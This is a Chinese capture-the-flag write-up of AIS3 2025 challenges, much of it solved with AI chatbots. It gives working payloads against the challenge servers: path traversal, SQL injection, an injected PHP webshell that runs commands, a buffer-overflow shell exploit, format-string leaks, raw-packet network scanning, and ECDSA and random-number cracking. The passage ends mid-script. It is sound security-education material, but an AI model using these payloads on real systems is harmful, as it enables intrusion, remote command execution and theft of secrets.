快轉到主要內容
  1. Posts/

2025 AIS3 MyFirstCTF / Pre-Exam Write-up

· loading · loading ·
游建峰
作者
游建峰

前言
#

這是我靠 AI 打下 AIS3 MyFirstCTF / Pre-Exam 的心路歷程(?),最終在 Pre-Exam 中獲得第 3 名的佳績。

在 Tag 裡面我有加上 AI 的就代表是幾乎都是 AI 打出來的,跟 ChatGPT 或是 Gemini 把報錯訊息跟我的猜想一直丟給 AI 他就出來了。沒加上 AI 的 Tag 的話可能還是有跟 AI 激烈溝通,但是最後是自己手打出來的。


Web
#

Tomorin db 🐧
#

web
easy
mfctf
pre-exam
AI
first blood
  • 這題拿了個 First Blood
    tomorin First blood

Explanation
#

  • 伺服器程式先註冊了兩條路由
http.Handle("/",  http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", redirectHandler)  // 302 → YouTube
  • 如果我們送出的 URL.Path 是 /./flag,他並不是以 /flag 開頭,因此
    • /flag 對不上
    • 落到最泛用的 / → 交給 FileServer
    • FileServer 跑去翻 /app/Tomorin/flag,把 Flag 吐出來
    • 記得要做 Encoding 將 . 變成 %2e,不然不會過

Solution
#

curl http://chals1.ais3.org:30000/%2e/flag
  • Flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Login Screen 1
#

web
mfctf
pre-exam

Explanation
#

  • 一開始以為是 SQL injection,跟 AI 討論許久後有成功用 UNION injection 打進去變成 Admin,但是名字跟 dashboard.php 的這一段不一樣,導致一直吐不出 Flag 1
<?php
    // if the user is admin, show this post
    if ($_SESSION['username'] == "admin") { ?>
        <div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>;
        <div class='box'><strong>2025-05-06</strong><div id='post2' class='post'><?= getenv('FLAG1') ?></div></div>;
    <?php }
    // if the user is guest, show this post
    else {
        echo "<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Only admin and view the flag.</div></div>";
    }
    ?>
  • 原本的爆破腳本:
    • 透過 UNION injection 將 2FA 跟 Password 的 bcrypt 塞成自己的,讓後面在驗證的時候直接去撈到這些參數,就能夠成功被驗證後登入。
#!/bin/bash

bcrypt='$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO'

curl -X POST http://login-screen.ctftime.uk:36368/index.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "username=' UNION SELECT 2,'admin','$bcrypt','133713' -- " \
  --data "password=1" \
  -c cookies.txt


curl -v -i -X POST http://login-screen.ctftime.uk:36368/2fa.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=133713" \
  -b cookies.txt \
  -c cookies.txt

curl http://login-screen.ctftime.uk:36368/dashboard.php   \
     -b cookies.txt
  • 登入進去後會看到自己的 username 也被 UNION injection 汙染,導致不會將 Flag 成功吐出來:
 <h2>Welcome, &#039; UNION SELECT 2,&#039;admin&#039;,&#039;$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO&#039;,&#039;133713&#039; -- !</h2>
  • 試了三個小時後沒結果,就跑去看看有沒有其他漏洞能鑽,找了一下發現在 docker-compose.yml 裡面有這個
- ./cms/html/users.db:/var/www/html/users.db:ro
  • 於是我跑去戳了一下 URL: http://login-screen.ctftime.uk:36368/users.db,發現能夠成功把 users.db 撈下來。裡面的 Users 長這樣:
sqlite> SELECT * FROM Users;
1|admin|$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC|51756447753485459839
2|guest|$2y$10$/th4ch2sGdetYaEoNrkC7O5m2cvvKo.21EBLOweMlaqXuec6k8E1y|000000

Solution
#

  • 用 hashcat 把 admin 的密碼爆破出來,發現也是 admin (能不能有創意一點= =)
  • 接著把 2FA 照著 51756447753485459839 輸入後,就成功打出 Flag 了。
  • Flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

Login Screen 2
#

web
AI
mfctf

Explanation
#

  • 這題本來用 ChatGPT 打很久,可能打了一個小時以上。本來以為是要透過神奇的 SQL injection 把 Environment variable 撈出來,但是都沒有結果。
  • 丟給 Gemini Pro 2.5 之後,一次他就打通了,好猛。以下是他的推理過程:

要取得 FLAG2,你需要利用在 index.php 登入頁面中存在的 SQL Injection 漏洞。儘管資料庫 users.db 是唯讀的,但你可以利用此漏洞在網站的根目錄下建立一個新的檔案,並寫入一個網頁後門 (webshell),從而執行任意伺服器指令來讀取環境變數 FLAG2

問題的關鍵漏洞在於 index.php 檔案中處理使用者登入的部分。

// index.php
$username = $_POST['username'];
// ...
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();

這段程式碼雖然使用了 $db->prepare(),但它錯誤地將使用者輸入的 $username 變數直接串接到 SQL 查詢字串中,而不是使用參數化查詢 (Parameterized Query)。這使得 username 欄位存在 SQL 注入的風險。

雖然 docker-compose.yml 的設定將 users.db 掛載為唯讀 (:ro),使你無法修改或新增資料庫內容,但 SQLite 的 ATTACH DATABASE 指令可以讓我們在伺服器檔案系統中建立一個全新的資料庫檔案。如果網頁伺服器運行的使用者 (如 www-data) 對網站目錄 (/var/www/html/) 具有寫入權限(這在 Docker 環境中很常見),我們就可以成功建立檔案。

Solution
#

  • 通過 admin 的密碼驗證。
  • 使用 ATTACH DATABASE 建立一個名為 shell.php 的新資料庫檔案。
  • shell.php 內建立一個資料表。
  • 將 PHP webshell 的程式碼插入到該資料表中。
  • 當 SQLite 將資料寫入 shell.php 後,這個檔案的內容實質上就是你的 PHP webshell 程式碼,你可以透過瀏覽器存取它來執行指令。
  1. 建構 SQL 注入 Payload 在登入頁面 (index.php) 的 Username 欄位中,輸入以下 SQL 注入 payload。請將其作為一行輸入。你需要知道 admin 的密碼才能成功登入。
admin'; ATTACH DATABASE 'shell.php' AS pwn; CREATE TABLE pwn.shell (payload TEXT); INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>'); --
  • admin': 用來閉合 WHERE username = '...' 中的單引號。
  • ;: SQL 指令分隔符。
  • ATTACH DATABASE 'shell.php' AS pwn;: 建立一個名為 shell.php 的檔案,並在這次資料庫連線中將其命名為 pwn
  • CREATE TABLE pwn.shell (payload TEXT);: 在 pwn 資料庫 (也就是 shell.php 檔案) 中建立一個名為 shell 的資料表。
  • INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>');: 將一個簡單的 PHP webshell (<?php system($_GET["cmd"]); ?>) 插入到 pwn.shell 表中。
  • --: 將原始查詢語句後面的部分註解掉,確保語法正確。
  1. 執行指令並讀取 Flag

當你點擊登入後,伺服器會執行你的 SQL payload,並在網站根目錄下建立 shell.php 檔案。即使頁面跳轉到 2FA 頁面,檔案也已經建立成功。

現在,直接在瀏覽器中存取你上傳的 webshell,並透過 cmd 參數傳遞你想要執行的指令。為了讀取所有環境變數,請使用 env 指令:

http://login-screen.ctftime.uk:36368/shell.php?cmd=env

  • Flag: AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}

Pwn
#

Welcome to the World of Ave Mujica🌙
#

pwn
baby
mfctf
pre-exam
AI

Explanation
#

  • 把 binary 丟到 IDA 裡面做分析,找一下會發現
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
  char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
  unsigned __int8 int8; // [rsp+97h] [rbp-9h]
  char *v7; // [rsp+98h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  printf("\x1B[2J\x1B[1;1H");
  printf("\x1B[31m");
  printf("%s", (const char *)banner);
  puts(&byte_402A78);
  puts(&byte_402AB8);
  fgets(s, 8, stdin);
  v7 = strchr(s, 10);
  if ( v7 )
    *v7 = 0;
  if ( strcmp(s, "yes") )
  {
    puts(&byte_402AE8);
    exit(1);
  }
  printf(&byte_402B20);
  int8 = read_int8();
  printf(&byte_402B41);
  read(0, buf, int8);
  return 0;
}
  • 能看到一開始輸入要輸入 yes 才能夠進到後面的東西,不然會直接被 return
  • 這邊可以看出 buf 的起始位置在 $ebp 的 160 bytes 前面 ([rbp-A0h])
    • 所以要改寫 return address 就要多寫 8 個 byte,也就是 168 bytes。
    • 接下來的這個 return address 的 8 bytes 需要塞到能拿到 shell 的 address,所以需要再繼續翻翻找找。
int Welcome_to_the_world_of_Ave_Mujica()
{
  puts(&s);
  puts(&byte_402990);
  puts(&byte_4029B4);
  puts(&byte_4029C3);
  puts(&byte_4029D2);
  puts(&byte_4029E1);
  puts(&byte_4029FC);
  puts(&byte_402A15);
  return execve("/bin/sh", 0, 0);
}
  • 翻一翻能夠找到這個 function,並且能看到 address 在 0x401256
    Ave IDA
__int64 read_int8()
{
  char buf[4]; // [rsp+8h] [rbp-8h] BYREF
  int v2; // [rsp+Ch] [rbp-4h]

  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 > 127 )
  {
    puts(&byte_402A38);
    exit(1);
  }
  return (unsigned int)v2;
}
  • 如果在剛剛那邊直接輸入長度是 176,會因為這個 read_int8() 被擋掉。但是能看到他是透過 v2 > 127 來比對的,所以能夠透過將 buf 設定成 -1 就可以繞過。

Solution
#

#!/usr/bin/env python3
from pwn import *
import sys

HOST = 'chals1.ais3.org'
PORT = 60491

context.binary = elf = ELF('./chall')
context.log_level = 'debug'

# 從 buf 開始到 saved RIP 的偏移
OFFSET = 168
WIN    = elf.sym['Welcome_to_the_world_of_Ave_Mujica']
# =====================

def exploit(io):
    io.recvuntil(b'?')
    io.sendline(b'yes')

    io.recvuntil(b':')
    # 填 -1 讓 read() 讀 255,但後面我們只會送我們想要的 bytes
    io.sendline(b'-1')

    io.recvuntil(b':')
    payload = flat(
        b'A' * OFFSET,
        WIN
    )
    io.send(payload)

    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) > 1 and sys.argv[1] == 'local':
        io = process('./chall')
    else:
        io = remote(HOST, PORT)
    exploit(io)
  • Flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._73d731ea7426df9733480c88e0b2da82}

Format Number
#

pwn
easy
mfctf
pre-exam
AI

Explanation
#

  • 這題幾乎都是 AI 打的,不過看到題目知道是 format string attack。
位置原始 C 程式碼說明
strcpy(buffer, "Format number : %3$");已經放入%3$但後面沒有型別字母,下一個字元就會被當成 format-specifier。
strcat(buffer, format);
strcat(buffer, "d\n");
  • format是我們 0xF bytes 內可控的字串
  • 程式強制在最後再補一個 d(十進位整數型別)

因此最終格式串長這樣(以 slot 42 為例):

Format number : %3$%%42$d\n
                └─┘└──────┘ 
                 ①     ②
  • 第一段 %3$% → 把第 3 個參數 (rand()的結果) 依 % 型別輸出「一個實際的 %」,同時丟棄數值
  • 第二段 %42$d真正把第 42 個 stack slot 當作 int 印出來

只要保證「%<idx>$d」能完整形成,glibc 便會幫我們把任意棧位的 4 byte 整數輸出。


為何 payload = "%%{idx}$" 能通過 check_format()
#
  • check_format() 只允許 數字 (0–9) 與標點
  • payload 使用的 %% % $ 都屬於標點,完全合法
  • % 會被 printf 解析為 單一字面量 %,成功「吃掉」前面的 %3$

腳本運作流程
#
  1. 逐 slot 試探

    for idx in range(20, 59):
        send   : "%%{idx}$"
        伺服器 : printf("Format number : %3$%%{idx}$d\n", ...)
  2. 擷取行尾十進位整數

    m = re.search(r"(-?\d+)$", line)

    這就是第 idx 個參數的 32-bit 整數值。

  3. 轉成小端並取最低 1 byte

    • flag 先被 read()char flag[0x100],以 小端 4-byte 一段躺在 stack
    • 直接 v & 0xFF 就能得到對應 ASCII 字元
  4. 串接所有可列印 slot

    flag = "".join(chr(v & 0xff) for _, v in data)

為什麼範圍設 20-58
#
  • 前 3 個參數已被 printf 消耗

    • %1$"Welcome" 字串指標
    • %2$"~~~" 指標
    • %3$rand() 的數字
  • 往後是 call frame、環境變數指標…再往下就是 flag[0x100]

  • 實測 20 開始就能碰到 flag,掃到 58 足以覆蓋整串(144 bytes/36 slots)

Solution
#

#!/usr/bin/env python3
from pwn import remote
import re, struct

HOST, PORT = "chals1.ais3.org", 50960

FLAG_SLOTS = list(range(20, 59))

def leak_slot(idx):
    io = remote(HOST, PORT)
    io.recvuntil(b"What format do you want ? ")
    payload = f"%%{idx}$".encode()   # e.g. b"%%42$"
    io.sendline(payload)

    line = io.recvline(timeout=2).decode(errors="ignore").strip()
    io.close()

    print(f"[slot {idx:2d}] raw: {line!r}")
    m = re.search(r"(-?\d+)$", line)
    if not m:
        print("   → no number")
        return None
    val = int(m.group(1))
    print(f"   → {val}")
    return val

def to_bytes_le(x):
    return struct.pack("<I", x & 0xFFFFFFFF)

if __name__ == "__main__":
    data = []
    for idx in FLAG_SLOTS:
        v = leak_slot(idx)
        if v is not None:
            data.append((idx, v))

    flag = "".join(chr(v & 0xff) for _, v in data)

    print(f"\nflag: {flag!r}")
  • Flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

Misc
#

Welcome
#

welcome
mfctf
pre-exam

Solution
#

複製貼上會出問題,要用自己手動打 (雖然我一看到就手動打就是了)

  • Flag: AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF
#

misc
mfctf
pre-exam

Explanation
#

  • 突破點在這張發票上
    receipt
  • 可以知道統編是 3478592?
    • 財政部找統編,最後只有 34785923 是找的到商家的。
    • receipt_result
  • 把地址丟到 Google 搜尋,能夠找到店家 樂山溫泉拉麵
  • 大部分人應該都被 Google 菜單的第一張照片給騙了,因為上面所有拉麵輸入過後也沒辦法拿到分數。
    fake_menu
  • 透過 QR code 掃描,能夠得知左邊那個 QR code 有訊息 蝦拉
    • MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
  • 跑去翻新一點的菜單,會看到點餐機上面有個單純的 蝦拉麵
    real_menu

Solution
#

  • Flag: AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc
#

misc
easy
mfctf
pre-exam
AI

Explanation
#

  • 這題主要就是用 Path Traversal 打,就能夠打通。
  • 以下是 ChatGPT 的解釋
快速拿到 flag 的核心流程
#
  1. 路徑穿越(Directory Traversal)

    • 伺服器對 URL 只去掉最前面的 /,沒有過濾 ..
    • 傳送 ..%2f%2f = /)即可往上一層目錄。重複多次直到抵達真正的根目錄 /
  2. 目錄列舉(Directory Listing)

    • 進入目錄時,程式會直接用 readdir() 把檔案清單組成 HTML 回傳。
    • 因為「沒做存取控制」,到達 / 後就能看到整個檔案系統的目錄與檔名。
  3. 找到旗子檔名

    • 在根目錄清單裡搜尋 readable_flag_ 前綴的檔名,例如 readable_flag_a1b2c3…
  4. 直接讀取檔案

    • 用同樣的穿越路徑 + 旗子檔名請求,伺服器會回傳檔案內容,flag 就顯示在響應正文。

一句話結論: 利用「..%2f 路徑穿越 + 目錄列舉」直接走到檔案系統根目錄,把 readable_flag_* 讀出來。

Solution
#

#!/usr/bin/env python3
import re, requests, sys

HOST = 'chals1.ais3.org'
PORT = 20963
BASE = f'http://{HOST}:{PORT}/'

session = requests.Session()

# 1. 找到能列出根目錄的位置
depth = 0
while depth < 10:
    path = '..%2f' * depth
    r = session.get(BASE + path)
    if any(x in r.text for x in ('bin/', 'etc/', 'proc/')):
        print(f'[+] Reached / with depth={depth}')
        break
    depth += 1
else:
    print('[-] Failed to reach /, increase depth limit')
    sys.exit(1)

# 2. 找 flag 檔名
flag_re = re.search(r'readable_flag_[^"/]+', r.text)
if not flag_re:
    print('[-] readable_flag file not found in /')
    sys.exit(1)
flag_name = flag_re.group(0)
print(f'[+] Found flag file: {flag_name}')

# 3. 讀取 flag
flag_url = BASE + ('..%2f' * depth) + flag_name
flag = session.get(flag_url).text.strip()
print(f'[FLAG] {flag}')
  • Flag: AIS3{tInY_We8_5erv3R_w1TH_fIL3_BROWs1n9_As_@_fe4tUrE}

Tcp Tunnel
#

misc
medium
pre-exam
First Blood
  • 這題拿了個 First Blood
    tcp tunnel first blood

Explanation
#

  • 一開始先用 Wireshark 抓封包,會發現 Server 吐回來的 TCP payload 長得有點奇怪
    tcp_tunnel_wireshark
  • 丟到 Packet Decoder 能夠知道這是一個 ICMP Echo(ping) request
  • 結合主辦方的提示,能夠知道可能是需要進行掃網路的動作。
  • 之後丟給 chatGPT 溝通一下,得知可以透過 ICMP ping sweep 掃整個網路的機器。然後再對掃到的機器做常用的 port scan
  • 最後掃到 port 80 是開著的,對他送 HTTP request 就能獲得 flag。

以下是 chatGPT 的簡介:


🚩 TCP Tunnel 解題流程簡介
#

這題的核心在於透過一條 TCP 連線,傳送「封裝好的原始 IP 封包」,與一個虛擬網路互動,藉此探索服務並取得 flag。


🧱 建立 TCP 隧道
#
  • 題目提供一條 TCP 通道 chals1.ais3.org:29997
  • 連線後伺服器會送來一顆封裝在 TCP 中的 raw IP 封包
  • 從封包中取得自身 IP(通常是 10.10.X.Y

🧠 回應 ICMP Echo Request
#
  • 伺服器會先發一顆 ICMP echo-request(ping)
  • 必須組出正確的 echo-reply 封包回送
  • 成功後可持續通訊,避免伺服器關閉連線

🔍 掃描虛擬網路
#
  • 根據自己的 IP,例如 10.10.55.43,掃整個 10.10.55.0/24
  • 使用 ICMP 逐一 ping,找出哪些主機存在

🌐 掃描 TCP 埠與取得 flag
#
  • 對活主機進行 TCP SYN 掃描
  • 找出開啟的常見 port(如 80)
  • 手動進行 TCP 三向交握並送出 HTTP GET
  • 從回應中成功取得 flag!

Solution
#

#!/usr/bin/env python3
from pwn import remote
from scapy.all import IP, ICMP, TCP, RandShort
import select, time, random


HOST, PORT = "chals1.ais3.org", 29997
r = remote(HOST, PORT)

def recvn(n):
    data = b''
    while len(data) < n:
        chunk = r.recv(n - len(data))
        if not chunk:
            raise EOFError
        data += chunk
    return data

def recv_ip(timeout=1.0):
    ready, _, _ = select.select([r.sock], [], [], timeout)
    if not ready:
        return None
    ip_hdr = recvn(20)
    total_len = int.from_bytes(ip_hdr[2:4], 'big')
    return IP(ip_hdr + recvn(total_len - 20))

def send_ip(pkt):
    r.send(bytes(pkt))  # scapy 會自動重算 checksum

# ─────────────────── 第一步:拿第一顆封包,取得我的 IP
first_pkt = recv_ip()
assert ICMP in first_pkt and first_pkt[ICMP].type == 8

MY_IP = first_pkt.dst
SUBNET = ".".join(MY_IP.split('.')[:3]) + "."
print(f"[+] My tunnel IP: {MY_IP}")

# 回 Echo-Reply
echo = first_pkt[ICMP]
rep = IP(src=first_pkt.dst, dst=first_pkt.src, ttl=64) / \
      ICMP(type=0, id=echo.id, seq=echo.seq) / first_pkt[ICMP].payload
send_ip(rep)

# ─────────────────── 第二步:ping-sweep 1–254
alive = set()
print("[*] Start ICMP ping sweep...")
for i in range(1, 255):
    target = f"{SUBNET}{i}"
    if target == MY_IP:
        continue
    pkt = IP(src=MY_IP, dst=target) / ICMP(id=0x1234, seq=i) / b'PING'
    send_ip(pkt)

t_end = time.time() + 2
while time.time() < t_end:
    pkt = recv_ip(timeout=t_end - time.time())
    if not pkt:
        continue
    if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
        # 回 keep-alive
        e = pkt[ICMP]
        rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
        send_ip(rep)
    elif ICMP in pkt and pkt[ICMP].type == 0 and pkt.dst == MY_IP:
        alive.add(pkt.src)

print("[+] Hosts up:")
for ip in sorted(alive):
    print("   ", ip)

# ─────────────────── 第三步:對每台 host 掃 TCP port
PORTS = [22, 23, 25, 53, 80, 110, 143, 443, 3306, 8080]
print("[*] Start TCP SYN scan on common ports...")

probes = {}
for ip in alive:
    for port in PORTS:
        sport = random.randint(1024, 65535)
        pkt = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=port, flags="S", seq=random.randint(0, 2**32-1))
        send_ip(pkt)
        probes[(ip, sport)] = port

open_ports = {}
t_end = time.time() + 3
while time.time() < t_end:
    pkt = recv_ip(timeout=t_end - time.time())
    if not pkt:
        continue
    if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
        rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)/pkt[ICMP].payload
        send_ip(rep)
    elif TCP in pkt and pkt.dst == MY_IP:
        key = (pkt.src, pkt[TCP].dport)
        if key in probes and pkt[TCP].flags & 0x12 == 0x12:  # SYN-ACK
            open_ports.setdefault(pkt.src, []).append(probes[key])

print("[+] Open ports:")
if not open_ports:
    print("    (none)")
else:
    for ip, ports in open_ports.items():
        print(f"   {ip}: {', '.join(map(str, ports))} OPEN")

print("[*] You can now manually probe these IP:ports for flags.")

# ─────────────────── 第四步:對開 port 80 的主機發送 HTTP GET
print("[*] Start HTTP GET / to open port 80 hosts...")

for ip, ports in open_ports.items():
    if 80 not in ports:
        continue

    sport = random.randint(1024, 65535)
    seq = random.randint(0, 2**32 - 1)

    print(f"[*] Connecting to {ip}:80")

    # 1. 送 SYN
    syn = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="S", seq=seq)
    send_ip(syn)

    # 2. 收 SYN-ACK
    ack_num = None
    while True:
        pkt = recv_ip(timeout=1.0)
        if not pkt:
            continue
        if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
            e = pkt[ICMP]
            rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
            send_ip(rep)
        elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
            if pkt[TCP].flags & 0x12 == 0x12:  # SYN-ACK
                ack_num = pkt[TCP].seq + 1
                break

    # 3. 回 ACK
    ack = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="A", seq=seq+1, ack=ack_num)
    send_ip(ack)

    # 4. 傳送 HTTP GET
    http = b"GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" % ip.encode()
    psh = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="PA", seq=seq+1, ack=ack_num)/http
    send_ip(psh)

    # 5. 收 HTTP 回應
    print(f"[+] Sent HTTP GET to {ip}, waiting for reply...")
    response_data = b""
    end_time = time.time() + 3
    while time.time() < end_time:
        pkt = recv_ip(timeout=0.5)
        if not pkt:
            continue
        if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
            e = pkt[ICMP]
            rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
            send_ip(rep)
        elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
            if pkt[TCP].payload:
                response_data += bytes(pkt[TCP].payload)

    print(f"[+] Response from {ip}:\n")
    try:
        print(response_data.decode(errors="ignore"))
    except Exception as e:
        print(f"[!] Failed to decode response: {e}")
  • Flag: AIS3{C0nnect_7cpTunnel_4nd_4cc3p7_w3b_serv1c3}

Crypto
#

SlowECDSA
#

crypto
hard
pre-exam
AI

Explanation
#

  • 這題是 chatGPT 打出來的,丟給他跑一跑就跑出來了。以下是他的解釋:
🔐 AIS3 SlowECDSA 解題概述
#

這題是針對 ECDSA (Elliptic Curve Digital Signature Algorithm) 的簽章漏洞利用題,核心問題在於簽章時所使用的隨機數 k 並不安全。以下是解題的重點整理:


📉 問題核心:使用了 LCG 當作 nonce
#

程式中使用了如下的 Linear Congruential Generator (LCG) 來產生每次簽章用的隨機數 k

k = (a * k_prev + c) % m

這代表每次簽名所用的 k 值具有線性關係,而且是可預測的。這會導致以下問題:

  • 簽名的 rs 值與 k 相關。
  • 如果我們可以取得兩組簽名(使用相關的 k),且哈希值相同,就能透過公式還原私鑰 d

✍️ 攻擊步驟
#
  1. 取得兩筆對相同訊息的簽名資料: 題目中 get_example 每次都會對 "example_msg" 簽名,我們可以拿到 (r1, s1)(r2, s2)

  2. 因為 k 有線性關係,代入 ECDSA 公式可以得到一個一次方程式,解出私鑰 d

    $$ d = \frac{c + a \cdot h \cdot s_1^{-1} - h \cdot s_2^{-1}}{r_2 \cdot s_2^{-1} - a \cdot r_1 \cdot s_1^{-1}} \mod n $$

  3. 取得 d 後,我們就能對任何訊息簽名,包含 "give_me_flag"

  4. 使用 forge 的 (r, s) 送到 verify,即可通過驗證,取得 flag。


✅ 解題技巧總結
#
  • 千萬不能讓 nonce k 重複或相關!
  • ECDSA 的安全性極度仰賴 k 的隨機性。
  • 若能取得多個相同訊息的簽章,且 k 有關聯性,幾乎一定能還原出私鑰。

Solution
#

from pwn import remote
from ecdsa import NIST192p, ellipticcurve
from Crypto.Hash import SHA1
from ecdsa.util import string_to_number, number_to_string, randrange_from_seed__trytryagain

a = 1103515245
c = 12345
curve = NIST192p
n = curve.order
G = curve.generator

def h(msg):
    return int.from_bytes(SHA1.new(msg).digest(), 'big') % n

def modinv(x):                 # python ≥3.8
    return pow(x, -1, n)

r = remote("chals1.ais3.org", 19000)

def grab():
    r.sendlineafter(b"option:", b"get_example")
    r.recvuntil(b"r: ")
    r1 = int(r.recvline().strip(), 16)
    r.recvuntil(b"s: ")
    s1 = int(r.recvline().strip(), 16)
    return r1, s1

# two signatures on the same message
r1, s1 = grab()
r2, s2 = grab()
h_val   = h(b"example_msg")

den = (r2 * modinv(s2) - a * r1 * modinv(s1)) % n
num = (c + a * h_val * modinv(s1) - h_val * modinv(s2)) % n
d   = (num * modinv(den)) % n          # secret key recovered!

# forge signature for give_me_flag
msg  = b"give_me_flag"
k    = 1                                # any non-zero nonce works
R    = k * G
r_sig = R.x() % n
s_sig = (modinv(k) * (h(msg) + r_sig * d)) % n

# send it back
r.sendlineafter(b"option:", b"verify")
r.sendlineafter(b"message:", msg.decode().encode())
r.sendlineafter(b"r (hex):", hex(r_sig).encode())
r.sendlineafter(b"s (hex):", hex(s_sig).encode())
r.interactive()
  • Flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}

Stream
#

crypto
easy
mfctf
pre-exam
AI

Explanation
#

  • 這題是 chatGPT 打出來的,以下是他的解釋:
題目核心觀察
#
  • 每一行輸出都是 sha512(隨機 1 byte) 的 512 bit 雜湊值,與一個 256-bit 隨機數 r 的平方 做 XOR。
  • 雜湊輸入只有 0-255 共 256 種可能,暴力嘗試即可確定雜湊值;一旦找出正確雜湊,c ⊕ h = r² 便能算得平方數。
  • Python random.getrandbits(256) 連續呼叫時,其 8 × 32-bit 輸出來自同一個 MT19937,能被 randcrack 還原。
邏輯拆解與實作流程
#
  1. 讀取 81 行十六進位字串 ➜ 轉成 int

  2. 第 0–77 行(共 78 行)

    • 列舉 256 個 1 byte 值,計算雜湊並 XOR,檢查結果是否為完全平方。
    • 取平方根得 256-bit r,依 CPython 高位在前randcrack 低位在前的順序,拆成 8 個 32-bit word 餵給 RandCrack.submit()
    • 78 行 × 8 word = 624 word,剛好重建 MT19937 內部狀態。
  3. 第 78、79 行

    • 這兩行產生的 16 word 只是消耗 PRNG 輸出,直接呼叫 rc_bits(…,32) 丟棄。
  4. 預測下一個 256-bit(旗標那一行用到的 r_flag)。

  5. 解密旗標

    • flag_int = 最後一行 ⊕ (r_flag²)
    • 轉 bytes ➜ UTF-8 解碼,即得 AIS3{…}
使用到的關鍵知識
#
  • 雜湊逆向(有限域暴力):輸入空間僅 256,對 SHA-512 可行。
  • 整數平方判定math.isqrt(n)**2 == n 能 O(1) 驗證完全平方並取平方根。
  • Python random 結構getrandbits(256) 依序吐出 8 個 32-bit,大端序排列。
  • MT19937 狀態復原:需 624 個 32-bit 輸出,使用 randcrack 套件自動完成。
  • 位運算 / XOR 與 加密常識m ⊕ k = cc ⊕ k = m
  • 編碼處理int.to_bytes 與 UTF-8 解碼取回可讀旗標字串。
最終成果
#

短短十來秒即可從題目輸出的 81 行十六進位數字中,自動還原出完整旗標 AIS3{…},驗證了 MT19937 在不當使用時的可預測性。

Solution
#

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_flag.py – 從 81 行十六進位輸出中還原 AIS3 旗標
使用方式:
    python3 solve_flag.py < output.txt
"""
import hashlib, math, sys
from randcrack import RandCrack

# -------- 小工具 -------- #
def is_square(n: int):
    r = math.isqrt(n)
    return r * r == n, r

# randcrack 版本差異:predict_getrandbits() vs getrandbits()
def rc_bits(rc, k):
    return rc.predict_getrandbits(k) if hasattr(rc, "predict_getrandbits") else rc.getrandbits(k)

def submit_r(rc, r, msb_first=True):
    """把 256-bit r 拆成 8 個 32-bit 丟進 randcrack
       msb_first=True 時,先交付最高位 word (CPython 的順序)"""
    w = r.to_bytes(32, "big")
    idxs = range(8) if msb_first else reversed(range(8))
    for i in idxs:
        rc.submit(int.from_bytes(w[i*4:i*4+4], "big"))

# -------- 讀檔 -------- #
C = [int(line.strip(), 16) for line in sys.stdin if line.strip()]
if len(C) != 81:
    sys.exit(f"❌ 需要 81 行,實際 {len(C)} 行")

# -------- 第 0–77 行 → 收集 624 個 32-bit 亂數 -------- #
rc = RandCrack()
for c in C[:78]:                     # 78 組 × 8 word = 624
    for b in range(256):             # SHA-512(1 byte) 暴力
        h = hashlib.sha512(bytes([b])).digest()
